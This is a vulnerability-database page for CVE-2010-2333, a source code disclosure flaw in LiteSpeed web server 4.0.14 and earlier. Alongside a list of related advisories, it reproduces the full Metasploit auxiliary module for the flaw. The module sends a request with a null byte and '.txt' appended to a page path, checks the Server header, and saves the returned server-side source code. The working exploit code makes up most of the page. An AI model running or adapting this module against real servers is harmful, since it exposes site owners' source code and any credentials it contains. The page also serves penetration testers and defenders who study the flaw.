Lucene search
K

LiteSpeed Source Code Disclosure/Download

🗓️ 01 Sep 2024 00:00:00Reported by Kingcope, xanda, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 175 Views

LiteSpeed Source Code Disclosure/Download vulnerability in versions 4.0.14 and prior of LiteSpee

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2010-2333
13 Jun 201000:00
circl
CVE
CVE-2010-2333
18 Jun 201020:00
cve
Cvelist
CVE-2010-2333
18 Jun 201020:00
cvelist
Tenable Nessus
LiteSpeed Web Server Source Code Information Disclosure
4 Aug 201000:00
nessus
Metasploit
LiteSpeed Source Code Disclosure/Download
1 Jul 201020:09
metasploit
Nmap
http-litespeed-sourcecode-download NSE Script
24 Jul 201120:13
nmap
NVD
CVE-2010-2333
18 Jun 201020:30
nvd
OpenVAS
LiteSpeed Web Server Source Code Information Disclosure Vulnerability
5 Aug 201000:00
openvas
OpenVAS
LiteSpeed < 4.0.15 Information Disclosure Vulnerability - Active Check
5 Aug 201000:00
openvas
Prion
Design/Logic Flaw
18 Jun 201020:30
prion
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'LiteSpeed Source Code Disclosure/Download',  
'Description' => %q{  
This module exploits a source code disclosure/download vulnerability in  
versions 4.0.14 and prior of LiteSpeed.  
},  
'References' =>  
[  
[ 'CVE', '2010-2333' ],  
[ 'OSVDB', '65476' ],  
[ 'BID', '40815' ],  
[ 'EDB', '13850' ]  
],  
'Author' =>  
[  
'Kingcope', # initial disclosure  
'xanda' # Metasploit module  
],  
'License' => MSF_LICENSE)  
  
register_options(  
[  
OptString.new('URI', [true, 'Specify the path to download the file (ex: admin.php)', '/admin.php']),  
OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '']),  
])  
end  
  
def target_url  
uri = normalize_uri(datastore['URI'])  
"http://#{vhost}:#{rport}#{datastore['URI']}"  
end  
  
def run_host(ip)  
uri = normalize_uri(datastore['URI'])  
path_save = datastore['PATH_SAVE']  
  
vuln_versions = [  
"LiteSpeed"  
]  
  
nullbytetxt = "\x00.txt"  
  
begin  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "#{uri}#{nullbytetxt}",  
}, 25)  
  
if res.nil?  
print_error("#{target_url} - Connection timed out")  
return  
end  
  
version = res.headers['Server']  
  
if vuln_versions.include?(version)  
print_good("#{target_url} - LiteSpeed - Vulnerable version: #{version}")  
  
if (res and res.code == 200)  
  
print_good("#{target_url} - LiteSpeed - Getting the source of page #{uri}")  
p = store_loot("litespeed.source", "text/plain", rhost, res.body, path_save)  
print_good("#{target_url} - LiteSpeed - File successfully saved: #{p}")  
  
else  
print_error("http://#{vhost}:#{rport} - LiteSpeed - Unrecognized #{res.code} response")  
return  
  
end  
  
else  
if version =~ /LiteSpeed/  
print_error("#{target_url} - LiteSpeed - Cannot exploit: the remote server is not vulnerable - Version #{version}")  
else  
print_error("#{target_url} - LiteSpeed - Cannot exploit: the remote server is not LiteSpeed")  
end  
return  
  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2024 00:00Current
7High risk
Vulners AI Score7
CVSS 25
EPSS0.76489
175